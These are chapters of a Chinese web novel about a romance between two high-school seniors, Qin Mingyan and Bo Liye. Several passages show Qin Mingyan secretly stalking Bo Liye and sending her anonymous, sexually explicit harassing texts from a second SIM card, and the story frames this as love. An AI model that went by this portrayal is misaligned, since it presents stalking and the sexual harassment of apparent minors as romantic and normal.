秦明烟跑完圈的时候,被体育老师叫过去拿运动会的各班报名表,重新回到操场时,已经找不到薄黎也了。
薄黎也已经冷了她十来天,就算她得保持薄黎也喜欢的冷漠孤僻的性子,也不能做得太过。
薄黎也娇气,这么大的太阳,不是在小卖铺里喝奶茶聊天,就是先溜去食堂吃饭了。偶尔胆子大一点,应该会偷偷溜出校门去逛外面的小吃街。
秦明烟对薄黎也的喜好了如指掌,总归就是这几个去处,决定先从小卖部找起。
然而还没走出操场,她先被另一个人拦住了去路。
是那天在翡世遇到的向丹丹,秦明烟看也不看就要绕开。
向丹丹追上来叫住她:“秦明烟,你是不是又要去找薄黎也?”
秦明烟脚步不停,向丹丹又追着说:“她有别人陪着哪有空搭理你?”
秦明烟的脚步停下,眸色冰冷的看过去:“你想说什么?”
向丹丹被那眼神吓了一跳,但她想到自己的目的,梗着脖子对上秦明烟:“我难道没说错吗?你明明是我们一中最优秀的学生,来了海川之后,你也跟那些有钱的蛀虫一样对着薄黎也低声下气,你怎么能变成这样?”
“那我应该怎么样?”
“你应该……”
走出操场,在人少的林荫道上,秦明烟倏然往后转,向前逼近一步,压迫感十足。
“你发现自己的成绩还比不上那群吃喝玩乐的富二代,所以开始嫉妒从一中转学过来能跟她们处好关系的人。出身不行,人缘不行,成绩也不行,你不该好好自我反思吗?”
被说中心思的向丹丹瞬间涨红脸,她的声音发着抖:“我,我,你胡说八道。”
“是不是这样你自己心里清楚。”
秦明烟已经没了耐心,向丹丹上学期末的考试监控视频已经被数学老师调出来,这两天处分就会下来。
之前相似的卷子出来时,向丹丹用一中转学生的名义说服众人相信她,薄黎也大度地不计较,这次再被翻出来,校领导就算是看在薄家的面子上,也一定会严肃处置。
她可以不计较向丹丹在翡世时,把她骗去a888包厢的事。但一想到向丹丹在暗地里时时刻刻盯着薄黎也,她就不能不管。
秦明烟加快脚步,走向小卖部。
薄黎也果然在这里。
秦明烟到的时候,薄黎也和往常一样被围在中间,买来的零食奶茶铺了一整桌,一群女孩子围着她说说笑笑。
薄黎也总是有这样的能力,就算抛开卓越的家世,单是一个笑容就能轻而易举地俘获人。
秦明烟在门边远远的站了会儿,正要找个理由进去,薄黎也身边的女孩突然被人推进了薄黎也的怀里。
薄黎也似乎是愣了一下,伸出手扶住那个女生,然后从桌上的零食里抓起一片肉干丢向这个恶作剧的源头。
被她扶住的女生低着头,连连道谢,薄黎也又伸手在女生的刘海上拨了拨,看起来是在帮她整理头发。
但脸上洋溢着的笑容,和体贴的动作,都让秦明烟的眉眼逐渐阴沉下来,下巴绷得很紧,她想起了刚刚跑圈时,夏一雯和薄黎也聊到的那个学妹。
想必就是坐在薄黎也身边的那一个。
她在光荣榜上见过这个女生的照片,比她们小上一届,成绩好,长得也很好。
才十几天,薄黎也就要找别人了吗?
薄黎也高兴的笑容几乎要刺痛她的眼睛,秦明烟的手心逐渐被她的指甲掐出红印。
一想到薄黎也会把对她做过的事情,对着别人也做一遍,秦明烟觉得自己快要疯掉了。
嫉妒和愤懑像是一根根毒刺扎在心底,她却什么也做不了。秦明烟强行把目光从薄黎也身上撕开,走出小卖部,拿出手机用另一张电话卡给薄黎也发短信。
【乖乖为什么又要喜欢新人了?那个该死的秦明烟刚走,乖乖为什么又要喜欢上学妹?】
【那我算什么我算什么我算什么?】
【我也好想好想好想被乖乖抱进怀里,我要埋在乖乖的胸口吸上一整天,把不听话的乖乖咬到发肿,让乖乖羞得再也不敢见别人】
【乖乖,你说好不好?】《 》
10、第十章
薄黎也看到手机屏幕显示短信消息的时候,就有种不好的预感。
她借着买糖的名义,拿着手机去了货架,确定左右都没人后,才敢打开手机。
果然,熟悉的、更加变本加厉的骚扰短信铺满了手机页面。
那个偷窥狂不满足于复述看到的内容,已经胆大到开始在短信里向她展露那些龌龊的心思。
怎么敢的?
薄黎也气得浑身都在发抖,恨不能立刻砸了手机。
玻璃门外的欢声笑语全然被阻隔,她看到那个高二的学妹看向了她的方向,投来关切的目光。
她勉强牵了下嘴角,往小卖部的门口走,这一刻,想把这个偷窥狂找出来的冲动达到了顶峰。
她给顾白帆发了条微信说自己去了卫生间,大步走了出去。
上课时间路上几乎没有什么人,只有两位老师聊着天从面前经过。
小卖部的门口没有人,她又找去小卖部旁边的窗口,那个偷窥狂向来喜欢从窗户偷窥她。
可当她绕过草丛走进去的时候,依旧空无一人,只有风吹树叶的沙沙声。这个偏僻的角落,就连监控也照不到,那个人总是能精准的避开这些。
她该怎么办?
她究竟要怎么做才能甩掉那个偷窥狂?
一股无力感伴随着愤怒从心底升起,薄黎也狠狠地锤了一下墙面。
就在这时,背后忽然响起灌木丛倾倒的刺啦声,薄黎也猛地回头:“谁?”
在矮灌木丛的后面,她看到了海川的校服:“给我出来,别在那里装神弄鬼。”
那人缓缓起身,身形看起来有些不稳:“是我。”
隔了些灌木丛,薄黎也看不清人,试探着问:“……秦明烟?”
直到秦明烟拨开灌木丛走出来,脚步一深一浅的,走得很慢。
薄黎也才发现她膝盖上破皮流血的伤痕,满身的刺在瞬间收起,薄黎也快步跑过去扶起人。
“怎么摔成这样?”
秦明烟的伤口面积似乎很大,冷白的膝盖上全是鲜红的血迹,在薄黎也扶起她的瞬间,就往薄黎也身上靠过去,才勉强稳住重心。
可下一秒,她又强行从薄黎也怀中挣脱出来,薄黎也本来就冒着火气,见秦明烟这么不领情,直接扇在她的腰上:“别动,你还想再摔一次吗?”
秦明烟难堪地缩了一下,低声说:“你说过没有你的允许,我不能再碰你。”
“受伤可以碰,我是那种见死不救的人吗?”
见秦明烟不说话,薄黎也又问:“你过来这里干什么?”
之前在大礼堂的卫生间里是秦明烟,现在她出来找人遇到的又是秦明烟。
为什么都是秦明烟?上一次是意外,这一次呢?
她都不搭理秦明烟那么久了,为什么恰恰是她被偷窥狂跟踪的时候,秦明烟也出现了?
不等秦明烟回答,薄黎也忽然拽住秦明烟,把人压到墙上:“说啊,你怎么会来这么偏僻的角落,你是不是在跟踪我?”
“你先冷静一下。”秦明烟举起另一只手里的报名表,声音很轻,带有安抚的意味,“体育老师给我的运动会报名表,之前我没参加过海川的运动会,不知道你们的喜好,就来问问。”
薄黎也顺着视线看过去,在看到标题上运动会三个大字时,拽着秦明烟的手稍稍松了松:“报名表?”
“是,这是运动会的报名表。”
薄黎也看着那份文件,不知道在想些什么,就在情绪逐渐平稳下来时,她又突然拽紧了,用逼视的目光紧紧盯着秦明烟。
“你过来的时候,没有见到其他人?”
秦明烟被她突如起来的压制逼得轻喘了口气,校服上的领结完全歪了:“是那个跟踪你的人?”
薄黎也的脸色又沉下来:“你怎么知道?”
秦明烟语气诚恳:“刚刚你问我,是不是在跟踪你。”
“她是不是又给你发什么消息了?”
薄黎也一遇到那个偷窥狂的事就容易失去理智,可她更不愿意在秦明烟的面前展露出恐惧的情绪。上一回在礼堂卫生间里抱着秦明烟的样子太过难看,她不想再从秦明烟的眼中看到对她的同情。
“没消息啊,我以为有人偷看我,结果是我看错了。”薄黎也故作轻松的垂下头,拨弄秦明烟的领结,“你知道的,喜欢我的人太多了,有这种烦恼很正常。”
秦明烟问:“上次拍了我们照片的人,有没有再威胁过你?”
她的声音冷淡清泠,薄黎也却莫名联想到那个偷窥狂的喊她乖乖时的语气。明明和秦明烟毫不沾边,但她莫名的把两人放到了一起比较。
“你会威胁我吗?”
薄黎也收紧了秦明烟的领结,看着秦明烟被拉得前倾,身体不自主地发出轻颤:“你是不是认识那个人,所以故意跑来看我的笑话?”
秦明烟察觉到薄黎也语气的变化,不再是高傲冷漠的命令,而是极度恐惧下的威胁,这位高高在上的大小姐真的慌了。
她的眼睫毛轻轻地眨动两下,神情淡然若水:“没有。”
“你最好不要被我抓到把柄。”薄黎也终于松开了秦明烟的领结。
松手时的惯性让秦明烟往前倾,膝盖上的伤口擦过薄黎也的腿,引出一声轻微的喘息:“嗯……”
薄黎也被秦明烟的声音勾得回了头。
秦明烟刚刚被她拽了太久的领结,脸上浮出一层很浅的薄红,吞噬了冷白无情的肤色,受了伤的腿看起来站不稳,就连肩头落下的发丝也颤巍巍的。
薄黎也舔了舔唇,她已经跟秦明烟赌气了小半个月,此刻看到这样一幅画面,有些蠢蠢欲动。
夏一雯介绍的那个学妹活泼体贴,但眼睛跟学校里的大多数人一样写满了功利和讨好,只有秦明烟的眼睛是完全不一样的,清澈,执拗,纯情得像是童话里的精灵。
也只有这样的眼睛彻底臣服她的时候,才会没有一丝令人厌恶的杂质。无论是其他故意接近她的人,还是那个恶心的偷窥狂都不能跟秦明烟相提并论。
薄黎也重新拉住了秦明烟,刚刚还趾高气扬的人仿佛被日光暖了一层,语气忽然变得轻柔:“好了,刚刚都是吓你的,谁让你送个报名表不走正门,走到这偏僻的路径来啊?”
“告诉我,你为什么会出现在这里?”
“嗯?”
风短暂的隔绝了几秒声音,秦明烟说:“过来时看到你了。”
所以跟过来想向她示好?
薄黎也满意的笑起来:“把手放我肩上,我扶你出去。”
秦明烟似有些犹豫。
薄黎也眯了眯艳丽的桃花眸,指尖在秦明烟掌心点了点:“又不听话?”
秦明烟默了片刻,抬起手轻轻放到薄黎也的肩上。
掌心贴来的触感温软,像是彻底被驯服,薄黎也终于忍不住,捧住秦明烟一侧的脸颊,亲吻上去。
有了秦明烟在巷子那一回的先例,薄黎也学着她,这一回也主动去勾秦明烟的舌头,她亲得并不凶,是有史以来第一次这么温柔。一边抬手将秦明烟的碎发撩到耳后,一边爱抚的去揉着秦明烟的耳垂。
薄黎也落下的发梢扫在秦明烟的锁骨,好似直接落到心脏,秦明烟整个人都要化了,痒意遍布四肢百骸,整个人动也不敢乱动一下。
“秦明烟……”薄黎也喘了一声,细长的指尾勾出秦明烟的一缕长发,强行让她偏头看过来。
“你也要舔我。”她不满足于一个人的主动。
于是,又说了一遍:“我命令你舔我。”
然后,她感受到秦明烟试探性地迎合了一下她的舌尖,迎合完后,眼睫毛都像是受到了惊吓似的剧烈颤抖。
薄黎也低低的笑了声,安抚性的把人抱得更紧,边亲边含糊的说:“胆怎么这么小啊,那天在巷子里的应激反应不是表现得很勇敢吗?你要是非得要人围观,我可以把我朋友都叫出来。”
话音刚落,怀里秦明烟的身体开始挣扎,唇间溢出颤音:“不……不要。”
“那你配合我一点。”
薄黎也抬起秦明烟的下巴,好让自己吻得更深,呼吸交缠在一起,带着轻盈的香味,一直吻到口中很深的地方,比那天巷子里秦明烟吻她时还要深。
隔着柔软的校服,秦明烟身上逐渐沾染上她的香气和热意,薄黎也逐渐有些停不下来了。
她这几天好好的想过有关秦明烟的反常,平时牵个手都不自然的人怎么可能突然变成那样呢?
肯定是因为那天在巷子里受到了太大的惊吓,人的既定的危险之前,总是能激发出本能的自救反应的。
“勉强原谅你那天亲我的事情了。”薄黎也体贴的擦去秦明烟嘴上的水痕,又去解秦明烟的领结,“不过还是得给你一个教训。”
“你干什……”
薄黎也不顾秦明烟的阻挠,凑到她的左耳,重重的吮吸了一口。
耳垂尖尖在短时间内胀成殷红,像是戴了一枚极其鲜艳的耳钉。
薄黎也满意地揭开秦明烟扎起的长发,指尖穿插其间,弄得更松散了些:“要好好披着头发,不然三好学生被人看到耳朵上烙了吻痕,可就说不清了哦。”
秦明烟慌张的捂上自己的左耳,本性纯良的学霸似乎被气到一句话也说不出来。
薄黎也高兴的笑起来:“走吧,陪你去医务室看膝盖上的伤。”
海川的医务室在行政楼和教学楼之间,是单独的一幢医务楼,里面的医生甚至被划分了各个科室,医疗用品一应俱全。
薄黎也把人陪进去后,收到了顾白帆问她为什么还不回去的微信。当着医生的面玩手机不太尊重人,她去了外面回复。
回来时,秦明烟仍坐在病床上,医生已经开始给她清创。清瘦的侧坐在那里,一言不发的忍着疼,背脊却挺得很直,左侧的头发严严实实的遮住耳朵,透着冷漠疏离的味道。
薄黎也重新走进去,看到秦明烟的膝盖被纱布裹得厚重,问医生:“她的伤严不严重,要不要打破伤风?”
医生在海川从业多年,早就见惯了小题大作的学生,耐心的摇摇头,说:“不用,待会我给她开点药带回去涂上一周就好得差不多了,要是想快一点,也可以开点消炎药。”
薄黎也站在秦明烟的右侧,这一回从她的方向看,能看到藏在黑发下发红的耳垂,在周围冷白的皮肤中尤为明显,她贴心的问:“要帮你开点消炎药吗?这种天气感染了,周末回家也很麻烦吧?”
秦明烟犹豫了一下,说:“好。”
医生在旁边电脑输入病例:“有青霉素过敏史吗?”
秦明烟说:“没有。”
医生起身从旁边的柜子里拿出一盒药:“一天一粒,餐后随水吞服。”
离开医务室后,薄黎也直接扶着秦明烟回了教室,有过半学生在自习,即将进门时,被从后面追上来的顾白帆拍了一下:“我就猜到你要照顾的伤患是秦明烟,咱们三好学生什么情况啊,怎么一会儿没见就摔破了腿?”
“你问问她走路怎么没看路啊。”薄黎也让秦明烟先进教室,跟另几个朋友在外面聊天。
夏一雯看着秦明烟的背影,咂咂嘴:“你们这是又和好了?她的伤不会也是你弄的吧?走路都不太稳当呢。”
薄黎也像是被她的话触动,突然转身就走。
夏一雯赶紧追上去:“哎,哎,别走啊,我这不是胡说的嘛,教室在那边,你去哪儿啊?”
薄黎也:“找班主任,换座位。”
“换座位?”夏一雯这下真像是受到惊吓了,她拉过跟她一块上来的高二学妹,问,“我没听错吧,薄黎也刚刚说的真是要换座位?”
学妹咬着唇,不甘不愿的应:“好像是的。”
夏一雯不信邪的问顾白帆:“她该不会要跟秦明烟坐一块去吧?”
顾白帆正调整着校服上的领结,闻言头也不抬,像是早已洞悉一切:“跟年级第一坐一块成绩方便提升成绩,有什么不好的?”
夏一雯:“你知道我什么意思,她她她……唔!”
顾白帆拿出口袋里的口香糖,连包装也不拆,直接塞进夏一雯嘴里:“她难得开心,别扫兴。”《 》
11、第十一章
薄黎也从办公室回来的时候,已经临近下课,班里陆陆续续有人去食堂吃午饭。
秦明烟原本的同桌是一起被校长从一中骗过来的优秀学生,成绩稳定保持在年级前十,两人的座位也是校长一开始指定坐在一块的。
才这么点时间,秦明烟又坐在位置上专心致志的写作业,白色的校服衬衫干净得扎眼,明明大家都是统一的衣服,她穿起来总有种特别干净的柔和感。
薄黎也在门边欣赏了会儿,才走进去。
秦明烟原本的同桌现在不在班里,薄黎也只能从班级群里找到女生的微信,点进去跟她解释调换座位的事。
得到对方的允许后,她走到秦明烟的身边,开始换桌子。
高三的课桌里里外外都是书,薄黎也移的又是别人的课桌,不能把别人的东西弄乱,只能移得很小心。
教室里突然变得很安静。
夏一雯拿笔戳了下顾白帆的后背,指指薄黎也的方向,惊讶程度无异于刚刚在走廊外。
“我们这时候是不是不应该帮忙?”
顾白帆见她终于有了点眼力见,拿上饭卡拉着人就走了,并招走了其他看热闹的学生。
薄黎也原本的座位跟秦明烟的距离并不远,就相差一排,只是上周轮换后刚好处在教室一左一右。
薄黎也力气小,挪了几分钟也没挪出去多少距离,挪几寸就要扶一下桌面上的水杯,再整一下叠得跟小山似的书。
教室里开了中央空调,才这么点时间,她的额头就热得冒了层细汗,脸颊微红,唇色有些发白。干净的校服上蹭了桌侧面的灰尘,浅浅的,仔细看时却很明显。
在下课铃打响的时候,秦明烟终于忍不下去,起身走向薄黎也,声音很轻:“你在干什么?”
薄黎也到了饭点,饿得有些发晕,如果是别人,她可能会请人帮忙,看到是秦明烟后,她下意识把秦明烟放在需要被照顾的一方:“没看到吗,我要换座位啊。以后我们坐一块,方便你给我补习。”
秦明烟犹豫了一下,说:“这不太好吧?”
薄黎也面无表情的说:“班主任叫我换的,有问题?”
秦明烟摇摇头,问:“要帮忙吗?”
薄黎也把人推到一边:“你伤着腿搬不了,在这等着。”
“我只是摔了一下,破了点皮。”
薄黎也的手搬得都要发抖了,对着递上门的台阶,她犹豫两秒,勉勉强强的接了:“你帮我把那些椅子挪进去吧。”
秦明烟微不可察地弯了下嘴角,又迅速恢复成冷淡的态度:“好。”
座位之间都摆着靠背的椅凳,秦明烟一张张的挪,然后等薄黎也把桌子推过来,再不动声色的借点力。
等两人搬完已经过去将近十分钟,薄黎也坐下来后,边喝水边玩手机,没半点要去吃午饭的打算。
她的位置靠外侧,只要她拦着不走,秦明烟没法出去。
但偶尔扫过来的目光,明显是等着秦明烟说点什么。
秦明烟一手扶着桌沿,轻声说:“之前一周没补完的课时我之后会补上,你有任何问题,都可以随时问我。”
这不是薄黎也想听的,她声音没什么起伏的‘嗯’了声,没动。
秦明烟又说:“今天麻烦你陪我去医务室了,谢谢你。”
薄黎也依旧敷衍的‘嗯’,却没动。
秦明烟目光垂落,坐在那儿不动了。薄黎也早就料到等不到‘谢谢你换过来来陪我’之类的好话,也不强求。
她主动站起来,语气有些懒散,也有点漫不经心:“调过来是为了更方便差遣你,现在,陪我去吃午饭。”
这个点食堂人满为患,即使海川有五个食堂,薄黎也也不想去挤,直接带着秦明烟直奔校外的美食街。
门口的保安见怪不怪地放了行,甚至贴心的提醒了一句:“吃完饭记得回来上课啊。”
薄黎也招了下手,回头时看到旁边不自在的秦明烟,立刻有了猜测:“你不会没逃过学吧?”
秦明烟抿了下唇,要开口时,薄黎也忽然笑出声来,稀奇死了:“真没有啊?一次也没有?”
真不枉顾白帆她们提起秦明烟时,一口一个‘三好学生’的称呼,一中来的果然都是乖学生啊。
等薄黎也笑够了,主动牵起秦明烟的手:“只是出来吃个饭你就紧张成这样,以后我要是带你翻墙翘课,你不得被吓死啊?”
秦明烟的注意力全然集中在了薄黎也牵着她的掌心上。温热的掌心牢牢的牵着她,不知为何,远比小卖部外的接吻还要令人亢奋。
阳光炽烈,枝头的蝉鸣嗡嗡作响,隔绝了路边所有的声音,仿佛只剩下了她们两个人,时间被无限拉长。
脑子里只剩下一个念头。
真的,好软啊。
直到薄黎也不满她的沉默,忽然掐上她的脸颊,才把秦明烟的注意力拉回来。
“你跟我在一块还敢分心?”
秦明烟难堪地偏了下头,薄黎也的语气不是很好:“那你在想谁?”
“你原本的那个同桌?”
秦明烟说:“不是。”
那又是谁?
就在薄黎也还要乱猜时,秦明烟说:“是膝盖疼,能不能走慢一点?”
薄黎也没有照顾病患的经验,自己脚扭伤的时候必须让秦明烟配合她的速度,身份调转,倒是没那个自觉。
她瞥了眼秦明烟膝盖上的纱布,还好没渗出红。
她移开目光,低头揪了揪自己的裙边,含含糊糊:“走太快你不会说一声啊?”
秦明烟又垂下了眼,从薄黎也的角度看过去,有点可怜。
薄黎也叹了口气,决定不去街对面的炒菜馆了,拉着秦明烟进了最近的那家烤肉店。
烤肉店能提供帮烤服务,点完餐等烤制的时候,薄黎也心不在焉地望着秦明烟,越看越是烦躁。
从外貌来看,秦明烟天生一张厌世脸,像是浸透了水的白玉。清冷矜高的劲比大多特意培养的富二代都比不上。做事冷静理智,衣服永远干干净净。
现在因为追她时摔了跤,又伤着腿被她强行拽出学校来吃饭,好像是有点可怜。
薄黎也又拉不下面子道歉,只能冷着脸给秦明烟夹烤好的肉和海鲜。
两人吃到一半,薄黎也嫌渴,起身去旁边的冰柜拿饮料。
刚拿出来一罐红牛,就被另一只手拿了过去,薄黎也不满的转过头,以为秦明烟也要跟她爸妈一样禁止她喝这类饮料。
然而秦明烟只是拿在手里扫了两眼,又放回去,从冰柜的里面拿出另一罐,检查了一番才递给薄黎也。
薄黎也不明所以:“你在干什么?”
“这家店靠近校门生意却一般般,饮料临期的概率很大,放在最前面的保质期是最短的。”
薄黎也愣了一秒,她平时买东西大多去高档的商场,就算买保质期短的鲜奶也不用看日期:“还有这种区别?”
她拿出刚刚放回去的那罐,果然离保质期不到一个月。
“你要喝吗?我给你拿一罐?”
秦明烟还没点头,薄黎也先替她做了决定:“算了,你有伤口还是少喝这种吧,给你拿个旺仔。”
秦明烟接过去,说:“谢谢。”
吃完饭回学校的路上热热闹闹,有不少跟她们一样逃出来改善伙食的,薄黎也和秦明烟走得慢,又因为同样出众的长相,引来不少的目光。
薄黎也被这些眼神看习惯了,秦明烟则是单纯的不在意,走了段路,薄黎也问起秦明烟那晚在巷子的事情。
既然已经原谅了秦明烟无礼的行为,薄黎也没有旧事重提,直接问了那群人的身份:“他们应该不是学校里的人雇来的吧?是跟你家里有关系?”
秦明烟的眉心在瞬间蹙起来,眼底有起伏波动。好半会,才无力的说:“是。”
“他们为什么找你麻烦啊?”校长给秦明烟安排了单独的寝室,薄黎也不知道秦明烟后来有没有再遇到那帮人。
秦明烟看起来并不想细说:“跟我家有点冲突,没什么关系。”
“没关系他们会大半夜去堵你,没关系你会跑出来连家都不敢待?”薄黎也打断秦明烟后直接拦在她前面,双手抱胸,一副很不好惹的样子,“你要是不说,我就找人去打听,你知道结果是一样的。”
气氛沉默,秦明烟的手缓缓攥紧起来,像是做着激烈的内心挣扎。
薄黎也不着急,依旧拦在前面,还有闲工夫笑着跟路过的同学招手。
“秦晟集团的总裁秦绍元,是我的爸爸。”
空气安静了几秒。
薄黎也甚至觉得自己出现了幻听。
“他有很多的子女,他想接我回秦家,他的子女不愿意。”
秦明烟站在树荫下,光影在她脸上交织,明明灭灭,树影被风轻轻一吹,眼底逐渐浮上一层令薄黎也看不懂的情绪。
秦明烟一直想隐瞒自己的身世,可是在薄黎也这样的天之骄女面前,她所被人称赞的外貌、成绩好像都不值一提,不仅仅是因为家世上的差距,还因为——
“我是他婚外出轨的产物。”
“我妈妈说她年轻的时候受人蒙骗,直到生下我才知道秦继业早就结婚生子。”
她爸妈当年事实真相究竟是什么样,秦明烟并不关心。总归这些年,她妈妈做着她的富贵梦,疯疯癫癫,她早已经习惯。
气氛依旧沉默。
半晌,薄黎也磨着牙问:“所以那天巷子,是秦家哪个儿子哪个女儿干的?”
秦明烟看起来有些茫然:“什么?”
秦明烟就算不说,薄黎也也能想象那群人的目的。无非就是看秦明烟太过优秀,怕她回了秦家撼动他们的利益。
薄黎也生出一股燥意,漂亮的眉眼顷刻间阴沉下来:“秦家算什么?过年的时候哪一年没来我家拜访?就值得你躲成那样?”
秦明烟低声说:“对不起。”
“下回他们再为难你,你就告诉他们你要给我补课,要借人就让他们找我妈妈去。”
虽然薄黎也常常责怪她爸妈的不着家,但不得不承认,薄婧娴的名字在上流圈几乎是一张完美的通行证。四十出头的年纪就被调入中央机关,手握薄家庞大的商业资源,又有薄承帮忙打理,谁都得给她几分薄面。
“喂,我说的话你听到没有?”薄黎也难得仗势欺人,虽然只是口头上的,也决不允许秦明烟的反应这么平淡。
要是秦明烟敢在这时候说一句不用她管,她绝对会掉头走人。
“我听到了。”
“那你——”
秦明烟慢慢往前走了一步,伸出双手,轻轻抱住了薄黎也。
薄黎也站得依旧很直,带着与生俱来的矜骄与傲气。只有细微颤动的嗓音暴露了她的真实反应:“……你干嘛?”
秦明烟抱得很轻,像是一枚柔软的羽毛,轻轻落在薄黎也的肩膀:“谢谢你。”
隔着短短的距离,秦明烟的体温从胸口传递过来,明明顶着三十五度的高温,薄黎也竟也不嫌热,只觉得秦明烟身上那股清冷的皂角香沁人心脾。
直到目光扫过秦明烟左耳上仍旧鲜艳的吻痕,薄黎也的耳朵开始发起烫。
她若无其事地说:“哦,举手之劳。”《 》
12、第十二章
晚自习开始前,班主任来教室贴了月考的成绩单,站在讲台上总结这次考试的情况。
“这次考试呢,全年级段600分以上有12个,我们班占了7个,500到600总分有11个,400到500区间有6个,其余呢,分数就是比较低的了。总体来说比上一次期末成绩有所退步。晚自习都要开始了,我看有些人没到教室,是不是太放纵自——”
“报告。”薄黎也在这时轻轻扣了两下门,从外面推进来,还带着这次依旧考了年级第一的秦明烟。
坐在下面的学生哄笑起来。
班主任的脸直接拉下来:“你们俩有没有时间观念,迟到了知不知道?”
下面立刻有学生吵吵闹闹:“还能干什么啊,放纵自己去了呗。”
“成绩下滑严重啊!你们两个该请家长了!”
这两人一个考了第一,另一个再多对几道选择题也能到600分,跟倒退沾不上边,班主任其实不想太过苛责。偏偏下面闹成这样,班主任只能把两人罚去外面晚自习。
海川各个年级的楼之间,每层都有长长的连廊。
被赶出去后,薄黎也不满的在秦明烟身后问:“你刚刚怎么不跟班主任说去医务室换纱布的事??”
秦明烟选了个风小的位置,说:“我以为你会说。”
当着这么多人的面说她纡尊降贵地陪秦明烟去医务室?还不如来罚站呢。
耳边又是一阵沉默,薄黎也瞄过去,秦明烟已经选了一道英语阅读题,完全把她隔绝开了。
薄黎也往旁边走了几步,故意离得远远的,低头开始做题。
大概二十分钟后,秦明烟把几篇阅读做完,见薄黎也同样刚停笔,轻轻的喊了声:“薄黎也。”
薄黎也转着笔,头也不回:“干嘛?”
秦明烟的声音干净清澈:“向丹丹这次月考没考到500分。”
薄黎也猛地回过头:“你说什么?”
向丹丹刚来海川的时候,可是能考到600以上的苗子,这也是上学期末薄黎也跟向丹丹的卷子雷同点过多时,老师们只是把她们两个叫过去问话,并不严查的原因。
所有人都以为作弊的人是薄黎也。
秦明烟点了一下头,指向办公室的方向:“班主任待会肯定会找她谈话。”
薄黎也当时不追究,不代表她不介意。
办公室的窗户正对着她们的方向,薄黎也险些没压住嘴角的笑容。
她故作镇定的说:“哦,那有什么好看的?”
秦明烟说:“进门时刚好扫到她的成绩,既然被罚站在这里,我就提一下。”
薄黎也继续冷酷的默写文言文:“随便她。我现在要写作业了,你不要再打扰我。”
第二节晚自习开始的时候,班主任果然把向丹丹叫去了办公室。
她训完向丹丹,出来看了眼安静写作业的秦明烟和薄黎也,大手一挥,直接把两人赶回了教室。
薄黎也回去的时候,正值课间休息,她俩的座位上围满了人。
薄黎也不满的皱起眉,去揪夏一雯的后颈:“在干什么?”
夏一雯胡乱的去拍薄黎也的手:“哎呀别拉我,参观要先来后到懂不懂?”
薄黎也凉凉的问:“那你知不知道参观要经过主人的同意?”
夏一雯一怔,转过头看到似笑非笑的薄黎也,顿时松了手里的试卷:“我没拿啊,我没拿。”
其他围观的人立刻松了手,一个个做贼心虚。
薄黎也这下真乐了,她怎么不记得自己位置上那堆学习资料值得这么大的动静?
“我座位上可以捡钱啊?”
“谁稀罕啊?”夏一雯捧出那几张卷子,“参观一下660分能考到640的卷子啊。”
这下,薄黎也同样怔住了:“你说多少?”
夏一雯:“641。”
“怎么可能,作文不要扣分,理科大题不要时间做的吗?”
夏一雯很不想承认,自从这群一中的被校长拐骗过来后,一次次刷新着她们的认知。本以为上学期末那个622已经够高了,这次竟然能见到640档的分数。
语文英语扣了分,数学理综全满分,这还是人吗?
别管这群人拿着几张卷子有多惊讶,卷子的主人安安静静地站在薄黎也的身后。教室的白织灯光增强了秦明烟惯常冷淡的神情,安静又沉默。
薄黎也挨个把卷子抢回来:“都给我松手,有本事自己考去,别老是拿别人的卷子,抱着睡觉也改不了你们的分数。”
夏一雯鄙夷地瞥了她一眼,用嘴唇无声的说:“重色轻友。”
薄黎也理所当然的回了句:“你没她好看。”
然后成功把人气走了。
人散去后,薄黎也把手里的卷子直接扔回秦明烟的桌子,在秦明烟坐下时,跟授业恩师似的拍了拍秦明烟的肩膀:“考得不错,真给我长脸。”
秦明烟的目光跟着薄黎也的手,低头把试卷放进试卷夹。
在这场月考后,这群学生终于有了步入高三的紧迫感。
好在月考后就是即将到来的运动会,终于在枯燥的学习氛围里有了放松的时间。
秦明烟花了一周的时间让班里的人填报项目,个人和集体项目已经报得差不多,就连接力赛的顺序都被提前安排好。
只剩下那一栏盲选的趣味运动会还没开始报名。
这也不是班里的人不响应号召,实在是今年海川组织运动会的老师另辟蹊径,趣味运动会就给了几个单人组、双人组、三人组、五人组,十人组的报名栏,具体的游戏项目一概不透露,说是运动会当天再公布具体游戏规则。
其他组别倒还好,双人组那栏特意标明需要性别相同。任谁听了都觉得双人组不是什么正经项目。
“这么严防死守,该不会引进了哪个综艺的情侣项目吧?”
“切,他们以为我们这么爱谈恋爱呢,就我们班的那些男的,做什么我都能心如止水。”
“喂你说什么呢,不照个镜子看看自己长什么样?”
被吵闹声吸引注意力后薄黎也停笔,看向站在讲台上的秦明烟。长发在三天前又规规矩矩地扎了起来,左耳的吻痕已经彻底消失不见,底子里微冷的气息弥漫出来,又跟刚转学过来时一样了。
她在手机上敲敲打打,给顾白帆发了条微信。
于是,在全班无一勇士愿意参加双人组的时候,顾白帆从后排遥遥举起手提建议:“班长,没人填报的话,你以身作则占一个名额呗。”
原本熬了一天的课无精打采的人,统统跟打了鸡血似的跟着起哄:“是啊班长,别的班都是班长体委带头的,你都没报项目,参加个趣味游戏总没什么吧?”
“班长得带头,不然我们也不参加了。”
他们不等秦明烟答应,直接替她做决定:“班长算一个,还有一个呢,谁上啊?”
“要不学委去?”
“哎你们几个一中过来的不是团结得很吗?都没人去陪陪你们第一名?”
薄黎也刚开始也想看看秦明烟更想跟谁报这个项目,支着脑袋看内向的秦明烟怎么解决这个困境。
果然,秦明烟为难的从第一排开始找人,一个个扫过从一中转学过来的学生,被她看到的人陆续低下头,没人愿意当众出糗。
薄黎也藏在桌抽屉里的手机亮了一下,顾白帆问:【你不去解围?】
薄黎也看了眼讲台上的秦明烟,漫不经心地单手打字:【不去,我就是想看她参加项目】
【要是那个项目真的需要亲密接触,她知道有我盯着,不敢又不得不做的样子一定很精彩】
顾白帆:【你坏死了】
薄黎也勾起嘴角,继续欣赏秦明烟孤立无援的样子。
就在这时,原本在前排找人的秦明烟忽然往她的方向看了一眼。
眼皮轻轻往下压,看起来很为难。
又在下一秒迅速转开。
唔。
好像有点可怜呢。
在其他人的起哄秦明烟直接选人的时候,薄黎也懒洋洋的举起手,顶着顾白帆几人诧异的视线,说:“我也没报过项目,我跟你一块。”
说完,周五的放学铃正好响起来,薄黎也没管其他人怎么看,拎着书包第一个出了教室。
这几天沪城强降温,学校里已经出现不少穿秋季校服外套的学生。下午五点的阳光还算暖和,操场上依旧热热闹闹的。
薄黎也往西门停车场的方向走,故意走得很慢。
路过篮球场的时候,身后传来奔跑的脚步声。她回头,看到秦明烟追上来,呼吸特别的急,说话声也断断续续的:“你,真要参加,双人趣味,运动会吗?”
